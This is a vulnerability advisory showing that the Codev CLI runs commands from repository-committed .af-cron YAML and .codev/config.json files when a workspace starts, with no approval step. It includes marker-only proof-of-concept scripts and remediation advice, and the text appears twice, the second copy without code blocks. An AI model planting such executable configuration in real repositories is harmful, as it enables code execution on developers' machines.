Summary
Codev automatically consumes two repository-controlled configuration surfaces that can launch local commands: .af-cron/*.yaml and .codev/config.json. A malicious repository can commit either configuration and cause command execution after a user performs the normal afx workspace start workflow, without a Codev workspace trust decision, first-use approval, command fingerprint, or content-change confirmation.
This is not prompt injection and does not require a model response or tool selection. It is also not a claim that merely opening a directory immediately executes code. The minimum trigger is starting or activating the Codev workspace; the cron variant then waits for its scheduler tick, while the architect variant runs during activation.
Affected versions
The behavior was present in the audited revision c3bb2623670ab2a9a437cd537c4680d1b88199ed and remained present in upstream main d50b0f879cc3b93dab9f458aba5e1ea954b5b5f8, inspected on 2026-08-01. The latest stable release observed during the review was v3.2.4 (f260a275d741b10df61e62227d933acb1270c5df).
Impact
An attacker who can commit files to a repository can cause Codev to start an attacker-selected local process as the Codev user's OS account. The cron path passes process.env to child_process.exec, so the child also inherits environment variables available to the Codev process. Depending on the user's environment, this can expose local files, credentials, or network access to the command.
The required user action is running the Codev workspace workflow in the untrusted repository. This is therefore an interactive local command-execution issue, not an assertion of silent open-folder RCE. The missing trust boundary is still significant because project content is treated as executable configuration without showing the final command to the user or asking for approval.
Suggested severity: High for local arbitrary command execution, with user interaction required to start the workspace.
Relevant classifications include CWE-829 (Inclusion of Functionality from Untrusted Control Sphere) and CWE-862 (Missing Authorization).
Reproduction
The following reproductions use only marker files. They do not read credentials, make network requests, or perform destructive actions. Node.js 20+ and the Codev CLI are required.
A. .af-cron command execution
Create a disposable Git repository containing the following tracked files:
TMP_CRON="$(mktemp -d)"
cd "$TMP_CRON"
git init -q
mkdir -p codev/roles .af-cron
touch codev/roles/.keep
cat > cron-marker.cjs <<'EOF'
require('node:fs').writeFileSync(
'.codev-cron-poc-marker',
'CODEV_WORKSPACE_CONFIG_POC_MARKER\n',
);
EOF
cat > .af-cron/poc.yaml <<'EOF'
name: workspace-config-poc
schedule: "* * * * *"
command: "node cron-marker.cjs"
message: "workspace config PoC"
target: "architect"
EOF
git add codev .af-cron cron-marker.cjs
git -c user.name=PoC -c user.email=poc@example.invalid commit -qm "cron configuration PoC"
Install or use the affected Codev release, then start the workspace from the repository:
npm install -g @cluesmith/codev@3.2.4
cd "$TMP_CRON"
afx workspace start --no-browser
sleep 70
cat .codev-cron-poc-marker
Expected output:
CODEV_WORKSPACE_CONFIG_POC_MARKER
The enabled field is intentionally omitted. Codev treats the task as enabled by default. The * * * * * schedule makes the result observable on the next scheduler tick after workspace activation.
For the negative control, repeat the same setup in a fresh repository without .af-cron/poc.yaml. Run afx workspace start --no-browser and wait 70 seconds; .codev-cron-poc-marker is not created.
B. .codev/config.json architect command execution
Create a second disposable Git repository containing a project config that selects a harmless Node marker command:
TMP_ARCHITECT="$(mktemp -d)"
cd "$TMP_ARCHITECT"
git init -q
mkdir -p codev/roles .codev
touch codev/roles/.keep
cat > architect-marker.cjs <<'EOF'
require('node:fs').writeFileSync(
'.codev-architect-poc-marker',
'CODEV_WORKSPACE_CONFIG_POC_MARKER\n',
);
setTimeout(() => {}, 15000);
EOF
cat > .codev/config.json <<'EOF'
{
"shell": {
"architect": "node architect-marker.cjs"
}
}
EOF
git add codev .codev architect-marker.cjs
git -c user.name=PoC -c user.email=poc@example.invalid commit -qm "architect configuration PoC"
afx workspace start --no-browser
sleep 10
cat .codev-architect-poc-marker
Expected output:
CODEV_WORKSPACE_CONFIG_POC_MARKER
For the negative control, repeat the setup without .codev/config.json. The marker is not created when the project-controlled architect override is absent.
C. Additional explicit worktree path
The same committed .codev/config.json surface also accepts worktree.postSpawn. A normal worktree creation operation such as afx spawn <issue-number> calls the post-spawn hooks, and each configured string reaches spawn(..., { shell: true }). This path requires the explicit spawn/worktree action and is not needed to reproduce the activation-time architect issue above.
Dynamic verification result
The marker-only reproduction was run against both the pinned revision c3bb262 and latest upstream main d50b0f8 using fresh temporary workspaces and temporary HOME directories. Both revisions produced the following four-way result:
| Case |
Project input |
Result |
| Cron positive |
.af-cron/poc.yaml |
Marker created |
| Cron control |
No .af-cron task |
No marker |
| Architect positive |
.codev/config.json with shell.architect |
Marker created |
| Architect control |
No project config |
No marker |
The isolated verifier returned passed: true for both revisions, and afx workspace start returned exit code 0. The latest-main environment used Tower's non-persistent shellper fallback because the shellper bundle was not built; the fallback still launched the configured architect command and produced the marker. This does not provide a trust or approval guard.
Source-level evidence
.af-cron
In packages/codev/src/agent-farm/servers/tower-cron.ts:
loadWorkspaceTasks() discovers <workspace>/.af-cron/*.yaml and parses command.
enabled: doc.enabled !== false makes a missing enabled field active by default.
- The scheduler scans known workspaces after Tower activation and starts due tasks.
runCommand() calls child_process.exec(command, { cwd, env: process.env }).
The relevant latest-main areas are tower-cron.ts:56-70, 95-144, 165-210, 217-230, and 269-276.
.codev/config.json
packages/codev/src/lib/config.ts:193-204 and 223-270 merge configuration in this order: defaults, cache, global ~/.codev/config.json, committed project .codev/config.json, and optional gitignored .codev/config.local.json. Therefore a project file can override a global shell.architect value.
During activation, packages/codev/src/agent-farm/servers/tower-instances.ts:501-517 reads config.shell.architect, splits it into an executable and arguments, and starts the architect session. No project declaration approval or content digest is checked before this launch.
For the worktree variant, packages/codev/src/agent-farm/utils/config.ts:302-311 reads worktree.postSpawn; packages/codev/src/agent-farm/commands/spawn-worktree.ts:187-193, 219-220, and 451-453 invokes the hook; and packages/codev/src/agent-farm/utils/shell.ts:49-57 uses spawn(..., { shell: true }).
Existing defenses and why they are insufficient
The project configuration loader distinguishes a gitignored local override from the committed project configuration, but it does not treat the committed layer as untrusted. A user's global configuration can be overridden by a malicious repository, and there is no approval bound to the final effective command.
The cron scheduler also reloads task files during scans and does not bind task execution to a previously approved content digest. The presence of a normal workspace activation step is not equivalent to approval of every executable command supplied by the repository.
Suggested remediation
- Treat
.af-cron and executable fields in committed .codev/config.json as untrusted workspace declarations.
- Default these declarations to disabled for a newly discovered workspace and require an explicit first-use approval that displays the resolved command, arguments, working directory, and launcher surface.
- Bind approval to the canonical workspace, user, specific launcher surface, and a hash of the effective command/configuration and referenced script. Re-prompt when any of those values changes.
- Revalidate the final effective command immediately before
exec or spawn, including scheduler dispatch, architect/session creation, and worktree hook execution.
- Avoid passing the full parent environment to repository-controlled commands; provide only the minimum required variables.
Expected behavior
Starting Codev in a repository should not silently authorize repository-controlled commands. Codev should either ignore executable project declarations until the workspace is trusted or ask the user to approve the exact effective command before activation and again after its content changes.
Summary
Codev automatically consumes two repository-controlled configuration surfaces that can launch local commands:
.af-cron/*.yamland.codev/config.json. A malicious repository can commit either configuration and cause command execution after a user performs the normalafx workspace startworkflow, without a Codev workspace trust decision, first-use approval, command fingerprint, or content-change confirmation.This is not prompt injection and does not require a model response or tool selection. It is also not a claim that merely opening a directory immediately executes code. The minimum trigger is starting or activating the Codev workspace; the cron variant then waits for its scheduler tick, while the architect variant runs during activation.
Affected versions
The behavior was present in the audited revision
c3bb2623670ab2a9a437cd537c4680d1b88199edand remained present in upstream maind50b0f879cc3b93dab9f458aba5e1ea954b5b5f8, inspected on 2026-08-01. The latest stable release observed during the review wasv3.2.4(f260a275d741b10df61e62227d933acb1270c5df).Impact
An attacker who can commit files to a repository can cause Codev to start an attacker-selected local process as the Codev user's OS account. The cron path passes
process.envtochild_process.exec, so the child also inherits environment variables available to the Codev process. Depending on the user's environment, this can expose local files, credentials, or network access to the command.The required user action is running the Codev workspace workflow in the untrusted repository. This is therefore an interactive local command-execution issue, not an assertion of silent open-folder RCE. The missing trust boundary is still significant because project content is treated as executable configuration without showing the final command to the user or asking for approval.
Suggested severity: High for local arbitrary command execution, with user interaction required to start the workspace.
Relevant classifications include CWE-829 (Inclusion of Functionality from Untrusted Control Sphere) and CWE-862 (Missing Authorization).
Reproduction
The following reproductions use only marker files. They do not read credentials, make network requests, or perform destructive actions. Node.js 20+ and the Codev CLI are required.
A.
.af-croncommand executionCreate a disposable Git repository containing the following tracked files:
Install or use the affected Codev release, then start the workspace from the repository:
Expected output:
The
enabledfield is intentionally omitted. Codev treats the task as enabled by default. The* * * * *schedule makes the result observable on the next scheduler tick after workspace activation.For the negative control, repeat the same setup in a fresh repository without
.af-cron/poc.yaml. Runafx workspace start --no-browserand wait 70 seconds;.codev-cron-poc-markeris not created.B.
.codev/config.jsonarchitect command executionCreate a second disposable Git repository containing a project config that selects a harmless Node marker command:
Expected output:
For the negative control, repeat the setup without
.codev/config.json. The marker is not created when the project-controlled architect override is absent.C. Additional explicit worktree path
The same committed
.codev/config.jsonsurface also acceptsworktree.postSpawn. A normal worktree creation operation such asafx spawn <issue-number>calls the post-spawn hooks, and each configured string reachesspawn(..., { shell: true }). This path requires the explicit spawn/worktree action and is not needed to reproduce the activation-time architect issue above.Dynamic verification result
The marker-only reproduction was run against both the pinned revision
c3bb262and latest upstream maind50b0f8using fresh temporary workspaces and temporary HOME directories. Both revisions produced the following four-way result:.af-cron/poc.yaml.af-crontask.codev/config.jsonwithshell.architectThe isolated verifier returned
passed: truefor both revisions, andafx workspace startreturned exit code 0. The latest-main environment used Tower's non-persistent shellper fallback because the shellper bundle was not built; the fallback still launched the configured architect command and produced the marker. This does not provide a trust or approval guard.Source-level evidence
.af-cronIn
packages/codev/src/agent-farm/servers/tower-cron.ts:loadWorkspaceTasks()discovers<workspace>/.af-cron/*.yamland parsescommand.enabled: doc.enabled !== falsemakes a missingenabledfield active by default.runCommand()callschild_process.exec(command, { cwd, env: process.env }).The relevant latest-main areas are
tower-cron.ts:56-70,95-144,165-210,217-230, and269-276..codev/config.jsonpackages/codev/src/lib/config.ts:193-204and223-270merge configuration in this order: defaults, cache, global~/.codev/config.json, committed project.codev/config.json, and optional gitignored.codev/config.local.json. Therefore a project file can override a globalshell.architectvalue.During activation,
packages/codev/src/agent-farm/servers/tower-instances.ts:501-517readsconfig.shell.architect, splits it into an executable and arguments, and starts the architect session. No project declaration approval or content digest is checked before this launch.For the worktree variant,
packages/codev/src/agent-farm/utils/config.ts:302-311readsworktree.postSpawn;packages/codev/src/agent-farm/commands/spawn-worktree.ts:187-193,219-220, and451-453invokes the hook; andpackages/codev/src/agent-farm/utils/shell.ts:49-57usesspawn(..., { shell: true }).Existing defenses and why they are insufficient
The project configuration loader distinguishes a gitignored local override from the committed project configuration, but it does not treat the committed layer as untrusted. A user's global configuration can be overridden by a malicious repository, and there is no approval bound to the final effective command.
The cron scheduler also reloads task files during scans and does not bind task execution to a previously approved content digest. The presence of a normal workspace activation step is not equivalent to approval of every executable command supplied by the repository.
Suggested remediation
.af-cronand executable fields in committed.codev/config.jsonas untrusted workspace declarations.execorspawn, including scheduler dispatch, architect/session creation, and worktree hook execution.Expected behavior
Starting Codev in a repository should not silently authorize repository-controlled commands. Codev should either ignore executable project declarations until the workspace is trusted or ask the user to approve the exact effective command before activation and again after its content changes.